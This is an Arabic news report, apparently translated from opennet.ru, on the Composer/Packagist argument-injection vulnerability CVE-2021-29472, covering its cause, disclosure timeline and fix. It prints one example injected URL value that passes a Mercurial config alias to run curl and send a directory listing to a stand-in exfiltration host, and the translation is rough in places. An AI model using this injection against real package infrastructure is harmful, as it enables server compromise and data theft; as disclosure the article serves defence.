ثغرة أمنية في مدير حزمة Composer تسمح باختراق مستودع Packagist PHP

تم التعرف على ثغرة أمنية حرجة (CVE-2021-29472) في مدير تبعيات Composer والتي تسمح بتنفيذ أوامر عشوائية على النظام عند معالجة حزمة بقيمة عنوان URL منسقة خصيصًا والتي تحدد عنوان تنزيل الكود المصدري. تحدث المشكلة في مكونات GitDriver وSvnDriver وHgDriver المستخدمة عند استخدام أنظمة التحكم بالمصدر Git وSubversion وMercurial. تم حل الثغرة الأمنية في إصدارات Composer 1.10.22 و2.0.13.

تجدر الإشارة على وجه التحديد إلى أن المشكلة أثرت في المقام الأول على مستودع الحزم الافتراضي لبرنامج Composer، Packagist، الذي يحتوي على 306 حزمة لمطوري PHP ويخدم أكثر من 1.4 مليار عملية تنزيل شهريًا. أظهرت التجربة أنه إذا كانت هناك معرفة بالمشكلة، فيمكن للمهاجمين السيطرة على البنية التحتية لـ Packagist واعتراض بيانات اعتماد المشرفين أو إعادة توجيه تنزيلات الحزمة إلى خادم طرف ثالث، وتنظيم تسليم متغيرات الحزمة مع تغييرات ضارة لاستبدال الباب الخلفي أثناء عملية تثبيت التبعية.

يقتصر الخطر على المستخدمين النهائيين على حقيقة أن محتوى الملحن.json عادة ما يتم تحديده من قبل المستخدم، ويتم نقل روابط المصدر عند الوصول إلى مستودعات الطرف الثالث، والتي عادة ما تكون جديرة بالثقة. سقطت الضربة الرئيسية على مستودع Packagist.org وخدمة Packagist الخاصة، والتي تسمى الملحن بنقل البيانات الواردة من المستخدمين. يمكن للمهاجمين تنفيذ التعليمات البرمجية الخاصة بهم على خوادم Packagist عن طريق وضع حزمة مصممة خصيصًا.

قام فريق Packagist بإصلاح الثغرة الأمنية خلال 12 ساعة من الإبلاغ عن الثغرة الأمنية. قام الباحثون بإبلاغ مطوري Packagist بشكل خاص في 22 أبريل، وتم حل المشكلة في نفس اليوم. تم نشر تحديث عام لبرنامج Composer لمعالجة الثغرة الأمنية في 27 أبريل، مع الكشف عن التفاصيل في 28 أبريل. ولم تكشف مراجعة السجلات على خوادم Packagist عن أي نشاط مشبوه يتعلق بالثغرة الأمنية.

سبب المشكلة هو وجود خطأ في رمز التحقق من صحة عنوان URL في ملف Composer.json الجذر وروابط تنزيل المصدر. الخطأ موجود في الكود منذ نوفمبر 2011. يستخدم Packagist طبقات خاصة لتنظيم تحميل التعليمات البرمجية دون الارتباط بنظام تحكم مصدر محدد، والتي يتم تنفيذها عن طريق استدعاء "fromShellCommandline" وتمرير وسيطات سطر الأوامر. على سبيل المثال، بالنسبة إلى git، يتم استدعاء الأمر "git ls-remote -heads $URL"، حيث تتم معالجة عنوان URL باستخدام طريقة "ProcessExecutor::escape($url)"، والهروب من التركيبات التي يحتمل أن تكون خطرة مثل "$(. ..)" أو "" ...`".

جوهر المشكلة هو أن طريقة ProcessExecutor::escape لم تفلت من التسلسل "-"، مما يسمح بتحديد أي معلمة استدعاء إضافية في عنوان URL. كان هذا الهروب مفقودًا في برامج التشغيل GitDriver.php وSvnDriver.php وHgDriver.php. تمت إعاقة هجوم GitDriver.php بسبب حقيقة أن الأمر "git ls-remote" لم يدعم تحديد وسيطات إضافية بعد المسار. تبين أن الهجوم على HgDriver.php ممكن عن طريق تمرير المعلمة "--config" إلى الأداة المساعدة "hq"، والتي تسمح لك بتنظيم تنفيذ أي أمر عن طريق معالجة الإعداد "alias.identify". على سبيل المثال، لتنزيل التعليمات البرمجية وتنفيذها عن طريق تشغيل الأداة المساعدة curl، يمكنك تحديد: —config=alias.identify=!curl http://exfilter-host.tld —data “$(ls -alh)”

من خلال نشر حزمة اختبار بعنوان URL مشابه لـ Packagist، تحقق الباحثون من أنه بعد النشر، تلقى خادمهم طلب HTTP من أحد خوادم Packagist في AWS يحتوي على قائمة بالملفات في الدليل الحالي.

المصدر: opennet.ru

إضافة تعليق